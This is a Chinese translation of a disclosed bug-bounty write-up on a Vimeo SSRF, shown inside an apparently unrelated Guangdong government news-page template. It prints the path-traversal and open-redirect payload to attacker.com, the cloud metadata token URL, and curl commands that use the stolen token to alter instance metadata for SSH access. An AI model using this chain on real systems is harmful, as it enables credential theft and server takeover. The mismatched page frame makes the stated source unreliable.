• 微博
  • 微信微信二维码

广东省人民政府首页  >  要闻动态  >  广东要闻

就去干_

来源: 南方日报网络版     时间:2019-11-22 23:04:50

就去干

此文为翻译文章原文链接:https://medium.com/@rootxharsh_90844/vime

此文为翻译文章原文链接:https://medium.com/@rootxharsh_90844/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e原文作者:Harsh Jaiswal? @rootxharsh(Twitter)恭喜翻译作者Hulk@先知社区价值100元的天猫超市享淘卡一张欢迎更多优质原创、翻译作者加入ASRC文章奖励计划欢迎多多投稿到先知社区Hi,朋友们

最近我在Vimeo(一个高清视频播客网站)上发现了一个SSRF,它甚至可以实现代码执行

在这篇文章,我将分享如何挖掘利用它,最终获得5000美金奖励的过程

背景Vimeo官方提供了一个名为 API Playground的API控制台,这暗示着很多请求都是经由网站服务端处理的

比如说下面这个例子:可以看到,上图中标记内容的请求方式为GET,传递至服务端

完整的请求如下:https://api.vimeo.com/users/{user_id}/videos/{video_id}如果你足够细心,可以发现用户可以控制这个请求中的很多东西

首先是uri参数,它决定了请求指向,在这里是/users/{user_id}/videos/{video_id};其次是请求方式,这里是GET方式,我们可以把它改为POST说不定有意外收获;最后是user_id和video_id,通过更改segments参数可以控制它们

服务端路径遍历在我继续挖掘它时,我首先把uri参数改为一些常用的路径遍历的Payload,然后页面返回403错误

这时我心中有底了,网站允许设置API端点

然后我修改了user_id和videos_id的值,它没有返回403错误,因为这是网站功能的一部分,它允许用户选择

我把videos_id值改为../../../,这可以确定是否可以访问api.vimeo.com的根目录

下面是完整请求:URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)从上图你可以看到api.vimeo.com列出了所有响应端点

这里我们应该想到,如果有了管理员密钥(可能通过标题头实现),就可以获取api.vimeo.com所有的目录

跳出api.vimeo.com经过思考后,我觉得HTTP 30X重定向或许可以帮我实现

OK,现在我知道了HTTP重定向可以帮助我向前移动

我需要一个重定向URL,然后我就可以移动到我能控制的资产上

重定向漏洞在经过一些时间的目录fuzzing后,我在api.vimeo.com上找到了一个端点,它会重定向到vimeo.com

现在,我移动到了vimeo.com

https://api.vimeo.com/m/somethingOK,我在vimeo.com上需要找一个重定向漏洞

经过一些时间的搜寻,我找到了一个影响很低的重定向漏洞,这里我就不赘述了

它类似于下面这种形式:https://vimeo/vulnerable/open/redirect?url=https://attacker.com它会302重定向到attacker.com

攻击链组合组装最终的Payload:../../../m/vulnerable/open/redirect?url=https://attacker.com放到video_id中,它将发出请求:https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com然后解析变为:https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.comHTTP重定向到vimeo.com:https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com利用重定向漏洞转移到到attacker.com:https://attacker.comNice,一个SSRF漏洞出现了

服务端发送的是JSON数据,解析它获取内容

深入利用经过侦察,我发现Vimeo是基于Goole云的,所以我可以试着访问Google元数据API

André Baptista (0xacb)有过类似的利用,你可以在这里查看详情

访问端点会返回Google账户token值

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }使用curl进一步获取所有token$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA Response:{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }OK,现在我可以用这些token组装为SSH公钥,然后用我的私钥连接服务器

$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}Response: { “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}成功实现有些遗憾,SSH端口并不对外开放,但这足以显示严重性(获取shell)

我从元数据API上还提取了Kubernetes密钥,但是由于未知原因我无法使用

Vimeo 确认了这些密钥是真实的

感谢阅读,希望你能学到知识

如果你有不明白的地方可以在推特上联系我(私信开放@rootxharsh)

感谢谢谢Vimeo团队允许我披露它

Andre (0xacb)的披露让我受到了启发

Brett (bbuerhaus)有一篇SSRF漏洞文章对我有帮助

时间线1月28日:提交

1月28日:HackerOne团队确认1月28日:Vimeo团队暂时奖励100美元,开始临时性修复

1月30日/ 31日:进行完整性修复

2月1日:4900美元奖励

更多精彩请猛戳右边二维码Twitter:AsrcSecurity公众号ID阿里安全响应中心




相关文章

版权所有:57fak 粤ICP备05070829 网站标识码4400000131
主办:南方新闻网 协办:广东省经济和信息化委员会 承办:南方新闻网
建议使用1024×768分辨率 IE7.0以上版本浏览器